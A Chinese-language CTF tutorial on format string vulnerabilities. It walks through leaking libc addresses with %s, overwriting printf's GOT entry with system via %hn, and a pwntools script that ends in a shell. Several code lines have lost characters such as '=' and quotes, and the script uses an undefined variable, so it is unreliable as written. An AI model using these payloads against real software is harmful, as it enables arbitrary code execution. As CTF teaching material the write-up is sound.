公司动态
格式化字符串漏洞:从内存泄露到GOT覆写的PWN入门实战
1. 项目概述为什么格式化字符串漏洞是PWN入门的“必修课”如果你刚开始接触CTF中的PWN方向面对一堆反汇编代码和内存地址可能会感到无从下手。那么“格式化字符串漏洞”绝对是你绕不开的第一个实战型知识点。它不像栈溢出那样需要精确计算偏移和构造复杂的ROP链也不像堆利用那样需要对内存管理有深刻理解。格式化字符串漏洞的利用逻辑相对直观攻击向量清晰非常适合作为从理论走向实战的桥梁。在CTFshow的PWN入门题中这类题目出现频率极高因为它能很好地考察选手对程序内存布局、函数调用约定以及利用脚本编写的基本功。简单来说格式化字符串漏洞源于程序员错误地使用了像printf、sprintf、fprintf这类C语言格式化输出函数。当这些函数的格式化字符串参数即第一个参数由用户可控时就埋下了祸根。攻击者可以通过输入特殊的格式符如%x、%p、%s、%n让程序执行超出预期的操作——比如读取栈上的任意内存内容或者向任意地址写入数据。在CTFshow的题目环境中这通常直接关联两个核心目标一是泄露关键信息如libc基地址二是篡改关键数据如覆盖GOT表项。掌握它你就能亲手打开一扇通往二进制安全世界的大门。2. 漏洞原理深度拆解格式化字符串如何成为“万能钥匙”要利用一个漏洞首先得彻底理解它为什么会发生。C语言的printf家族函数其强大之处在于它通过解析格式化字符串中的“格式说明符”来决定如何解释和输出后续的可变参数。正常的用法是printf(“Hello, %s!”, name)这里%s是格式符name是对应的参数。系统会根据格式符%s去栈上取出一个指针然后将其作为字符串地址来打印。2.1 漏洞的诞生当格式化字符串被用户掌控漏洞产生的典型代码如下char buf[100]; fgets(buf, sizeof(buf), stdin); printf(buf); // 危险如果buf中包含%格式符程序会将其解释。当用户输入%p时printf会认为程序原本打算输出一个指针于是它就会去栈上“取参数”。但问题是代码里并没有为这个%p提供对应的参数。printf函数可不管这些它会忠实地按照格式化字符串的指示从栈上当前的位置开始把本不属于参数的数据当作参数读出来。这就是任意内存读的源头。2.2 栈布局与参数定位理解栈在函数调用时的布局至关重要。以32位程序为例当调用printf(buf)时参数入栈顺序从右向左但栈内存增长方向是从高地址到低地址。调用后栈顶附近布局大致如下高地址 ... (调用者栈帧) 返回地址 旧的ebp buf的地址 (printf的第一个参数即格式化字符串地址) [栈上位置1] - 对应格式化字符串中第一个%格式符 [栈上位置2] - 对应第二个%格式符 ... 低地址printf内部有一个指针初始指向格式化字符串地址之后的栈位置即“栈上位置1”。每遇到一个需要参数的格式符如%x,%s,%n它就从这个指针指向的地方“取”数据并将指针向高地址移动在32位下移动4字节。如果格式化字符串是我们控制的我们就可以通过精心构造的%p或%x来遍历栈上的数据。2.3 核心格式符的“武器化”%p、%x用于泄露地址。%p以指针格式带0x前缀输出%x以十六进制输出。输入%p%p%p就能连续打印栈上的3个数据。%s危险读操作。它会把对应位置的数据解释为一个指针然后去这个指针指向的地址读取字符串直到遇到空字节。这可以用来读取任意地址的内容比如读取GOT表中存储的puts函数实际地址。%n核心写操作。这是格式化字符串漏洞的灵魂。%n不输出内容而是将截至目前已成功输出的字符数写入到对应参数所指向的地址。例如printf(“AAAA%n”, counter)会将数字4写入变量counter。通过控制输出字符的数量我们就能向任意地址写入任意值。%c用于控制输出字符数量常与%n配合来精确控制写入的数值。%Nd或%Nc指定宽度输出。%100d会输出一个至少占100宽度的整数不足补空格。这可以快速增大输出字符数避免真的输出几百个A。位置参数%k$p直接指定参数。这是实战中的关键技巧。%7$p表示直接使用栈上第7个参数从1开始计数而不管前面有多少个格式符。这允许我们精准定位到栈上特定位置的数据或向特定地址写入。注意%n写入的数据大小取决于格式字符串修饰符。%n写入4字节int%hn写入2字节short%hhn写入1字节char。在64位程序中为了写入8字节地址通常需要分两次用%hn写入。3. 利用链构建从信息泄露到GOT覆写一个完整的格式化字符串漏洞利用通常遵循“信息泄露 - 计算关键地址 - 内存篡改”的链条。我们以CTFshow中一道典型题目为例假设程序是32位开启了NX和部分RELROGOT表可写没有PIE程序基地址固定。3.1 第一步栈内存侦察与偏移计算首先我们需要找到我们输入的字符串在栈上的起始位置。连接题目发送一串易于识别的模式字符串例如AAAA%p-%p-%p-%p-%p-%p...。程序回显可能类似AAAA0xff8a3d20-0x1-0xf7f8e5a0-0x41414141-0x70252d70-0x252d7025...观察输出找到0x41414141即AAAA的十六进制。它出现在第4个%p对应的位置。这说明我们输入的字符串的地址或内容本身取决于题目实现位于栈上第4个参数处。那么第一个%p对应栈上第1个参数通常是格式化字符串地址之后的某个值第二个对应第2个以此类推。因此AAAA位于第4个参数其偏移就是4。使用位置参数验证发送AAAA%4$p如果回显AAAA0x41414141则确认偏移为4。3.2 第二步泄露libc基地址这是获取shell的关键。我们需要知道libc中system函数的绝对地址。目标泄露一个已经在GOT表中存在的libc函数地址例如puts或printf。方法首先需要知道该函数GOT表项的地址。由于没有PIE这个地址是固定的可以通过objdump -R pwnfile或pwntools的elf.got[‘puts’]获取假设为0x804c014。利用构造payloadp32(0x804c014) b%4$s。这里p32是打包成32位小端序字节。发送后printf会将0x804c014作为字符串输出然后遇到%4$s。%4$s告诉程序去栈上第4个参数的位置取一个值作为指针并打印该指针指向的字符串。此时栈上第4个参数正好是我们payload开头的0x804c014本身的地址。所以程序会去内存地址0x804c014处读取数据——这里存放的就是puts函数在libc中的实际地址。程序会将它当作字符串打印出来直到遇到空字节实际上会打印出这个地址值。计算收到泄露的地址例如0xf7e3c5a0。然后查询libc版本题目可能给出或通过libc数据库匹配找到该libc中puts函数的偏移量offset_puts。那么libc_base leaked_puts_addr - offset_puts。进而system_addr libc_base offset_systembin_sh_addr libc_base offset_binsh。3.3 第三步覆盖GOT表劫持程序流有了libc地址我们的目标是将一个函数的GOT表项修改为system的地址。通常选择printf或__stack_chk_fail这类在后续会被调用的函数。目标地址假设我们选择覆盖printf的GOT表项0x804c010为system地址0xf7e0c5a0。挑战%n写入的是已输出的字符数。要写入一个巨大的地址值如0xf7e0c5a0十进制约4,161,176,992直接输出这么多字符不现实。解决方案分字节写入。将32位地址拆分成两个16位的部分高位和低位利用%hn分别写入。但需要注意写入顺序和地址对齐。构造Payload计算system_addr的低16位low system_addr 0xffff高16位high (system_addr 16) 0xffff。需要写入两个地址printf_got写低位和printf_got2写高位。Payload结构[addr_low][addr_high][format_string]。但%hn是按顺序写入的我们需要控制先后写入哪个地址以及写入的值。一种经典构造是payload p32(got) p32(got2) f%{low-8}x%{offset}$hn%{high-low}x%{offset1}$hn。这里low-8是因为前面已经输出了8个字节的地址第一个%hn将low写入got%{high-low}x输出足够的空格使总输出字符数达到high第二个%hn将high写入got2。更稳健的方法是使用位置参数并将地址放在格式化字符串后面通过%offset$hn直接指向栈上的地址参数。3.4 第四步触发执行覆盖完成后当程序再次调用printf时实际上会跳转到system函数。如果我们能控制传给printf的参数就能将其变为system的参数。常见的技巧是在覆盖GOT表之前或之后通过格式化字符串漏洞同时在栈上布置一个字符串/bin/sh的指针并确保在调用被劫持的函数时这个指针恰好是其第一个参数。或者更简单的是劫持printf为system后在下次输入时直接发送/bin/sh因为程序可能会用printf(buf)来输出此时buf即/bin/sh就成了system的参数。4. 实战演练CTFshow典型题目分析与脚本编写假设我们拿到一个名为pwnme的32位ELF文件其核心漏洞代码段如下void vuln() { char buf[100]; read(0, buf, 99); printf(buf); // 第一次格式化字符串漏洞用于泄露 read(0, buf, 99); // 第二次读入 printf(buf); // 第二次格式化字符串漏洞用于写入 }4.1 信息收集checksec pwnme输出可能显示RELRO: Partial RELROGOT可写PIE: No PIE基地址固定。使用pwntools脚本开始交互from pwn import * context(archi386, oslinux, log_leveldebug) # p process(./pwnme) p remote(pwn.challenge.ctf.show, 12345) elf ELF(./pwnme) libc ELF(/path/to/libc.so.6) # 或使用LibcSearcher4.2 泄露libc地址# 1. 计算偏移 p.sendlineafter(b, bAAAA%p-%p-%p-%p-%p-%p-%p) resp p.recvline() print(resp) # 假设在输出中0x41414141出现在第7个%p则偏移为7。 # 使用位置参数验证 p.sendlineafter(b, bAAAA%7$p) resp p.recvuntil(b\n) print(resp) # 收到 AAAA0x41414141确认偏移为7。 # 2. 泄露puts的got表项地址 puts_got elf.got[puts] log.info(fputs got: {hex(puts_got)}) payload1 p32(puts_got) b%7$s # %7$s 读取栈上第7个参数指向的字符串 p.sendlineafter(b, payload1) p.recvuntil(p32(puts_got)) # 接收直到地址后的内容 leaked_puts u32(p.recv(4)) # 读取4字节的地址 log.success(fleaked puts addr: {hex(leaked_puts)}) # 3. 计算libc基址和system地址 # 假设已知libc版本或使用LibcSearcher from libcSearcher import * libc LibcSearcher(puts, leaked_puts) libc_base leaked_puts - libc.dump(puts) system_addr libc_base libc.dump(system) binsh_addr libc_base libc.dump(str_bin_sh) log.success(flibc base: {hex(libc_base)}) log.success(fsystem addr: {hex(system_addr)})4.3 覆盖printf的GOT表项# 选择覆盖printf的GOT因为下次printf(buf)时buf就是我们的参数 printf_got elf.got[printf] log.info(fprintf got: {hex(printf_got)}) # 分两次写入高位和低位 low system_addr 0xffff high (system_addr 16) 0xffff log.info(flow: {hex(low)} high: {hex(high)}) # 构造payload。注意我们需要将两个目标地址printf_got和printf_got2放到栈上。 # 假设经过测试这两个地址会出现在栈上第7和第8个参数位置可能需要微调。 # 构造方式addr_low addr_high format_str # format_str 需要先输出low-8个字符然后向第7个参数指向的地址addr_low写入2字节%hn # 再输出(high-low)个字符然后向第8个参数指向的地址addr_high写入2字节。 # 注意如果high low需要处理进位这里假设high low。 payload2 p32(printf_got) p32(printf_got2) # 使用位置参数 %7$hn 和 %8$hn payload2 f%{low-8}x%7$hn%{high-low}x%8$hn.encode() # low-8 是因为已经输出了8字节的地址 # 发送payload p.sendlineafter(b, payload2)4.4 获取shell# 此时printf的GOT已被覆盖为system地址。 # 下一次调用printf(buf)时buf的内容将被作为system的参数执行。 # 发送 /bin/sh p.sendlineafter(b, b/bin/sh\x00) # 注意字符串结尾 # 触发printf(buf)实际执行system(/bin/sh) p.interactive()5. 64位程序下的挑战与技巧64位程序利用格式化字符串漏洞的主要区别在于参数传递规则。前6个整数或指针参数通过寄存器RDI, RSI, RDX, RCX, R8, R9传递后续参数才通过栈传递。对于printf如果格式化字符串需要7个或更多参数第7个才开始在栈上。这意味着我们输入的格式化字符串本身如果作为第一个参数在RDI中那么%p、%s、%n等需要参数的格式符会依次消耗RSI、RDX等寄存器的值直到用完6个寄存器才会去栈上找。这给我们定位输入字符串在栈上的位置带来了困难。应对策略使用大量%p或%lx先发送一堆%p来“耗尽”寄存器参数并观察输出。当输出开始出现看起来像是我们输入字符串的片段如0x7fffffffe3a0时记下这是第几个%p。这个位置之后的参数就在栈上了。利用%n写入寄存器通常很难因为寄存器里的值我们不易控制。因此64位下的利用更依赖于栈上的参数。我们依然可以通过位置参数%k$n来指向栈上的特定位置。写入地址的存放在64位下地址是8字节。我们需要将目标地址如GOT表项地址放到栈上。由于地址中可能包含空字节如0x00007ffff7ddb000这会导致字符串截断。解决方法将地址放在payload末尾格式化字符串在前地址在后。这样格式字符串中的%n可以通过位置参数指向后面的地址。使用%hn分多次写入和32位一样将8字节地址分成多个2字节部分写入。注意栈对齐64位系统通常要求栈地址16字节对齐在构造payload时可能需要填充。一个简化的64位利用payload结构示例假设输入字符串的地址在栈上第10个参数处# 假设要覆盖的地址是 got_addr要写入的值是 target_value # 将 got_addr 和 got_addr2 放在payload末尾 payload b%{low}c%10$hn%{high-low}c%11$hn.ljust(16, bA) # 格式化字符串部分填充对齐 payload p64(got_addr) p64(got_addr2) # %10$hn 会写入 got_addr %11$hn 会写入 got_addr26. 常见问题排查与高级技巧6.1 偏移不准怎么办原因本地环境和远程环境栈布局可能有细微差异程序可能有不同的编译选项或初始化流程。解决编写脚本自动化探测。发送%p*N观察输出寻找特征值如输入的AAAA对应的0x41414141。或者发送%1$p %2$p ... %20$p一次性探测多个位置。6.2 泄露的地址看起来不对原因可能泄露的不是指针而是数据或者因为小端序显示问题。解决确保使用%s泄露时对应栈位置的值确实是一个指向目标地址的指针。使用%p泄露的则是栈上的值本身。在接收数据时用u32()或u64()正确解包。6.3 %n写入失败或程序崩溃原因目标地址不可写如RELRO FULL地址未对齐尤其在64位下写入的值太大导致输出过程异常。解决检查checksec确认GOT可写。确保写入的地址是合法的、对齐的。例如32位写入地址应是4字节对齐%hn写入的地址应是2字节对齐。对于大数值写入优先使用%hn分两次。如果数值确实很大考虑是否可以通过多次%hhn单字节写入来构造或者利用已输出的字符数例如程序本身输出的某些提示信息字符也算在内。6.4 如何应对无PIE但地址有坏字符场景地址中包含\x00空字节、\x0a换行、\x20空格等这些字符可能会被输入函数如scanf、fgets截断。解决将地址放在payload最后这样前面的格式化字符串可以不受影响地包含这些字节。使用%hn或%hhn避免在地址中直接出现需要写入的大数值而是通过控制输出字符数来间接写入。利用栈上的现有地址有时不需要自己放置地址栈上可能已经存在指向GOT或libc的指针直接用位置参数%k$s去读或用%k$n去写即可。6.5 一次格式化字符串调用同时完成读和写在有些题目中可能只有一次利用格式化字符串的机会。这就需要精心构造一个payload同时完成信息泄露和GOT覆盖。思路通常是利用%s泄露信息的同时通过%n系列格式符进行写入。由于%n写入的值是已输出的字符总数需要精确计算在%s泄露前后输出的字符数以确保%n写入正确的值。这通常需要更复杂的构造和计算。格式化字符串漏洞的魅力在于它的灵活性与直接性。它像一把手术刀让攻击者能够精细地观察和修改进程的内存状态。通过CTFshow的PWN题反复练习从简单的地址泄露到复杂的多阶段利用你会逐渐建立起对程序内存空间的直觉。记住每一个%p的输出都是一个故事每一个%n的写入都是一次改写命运的尝试。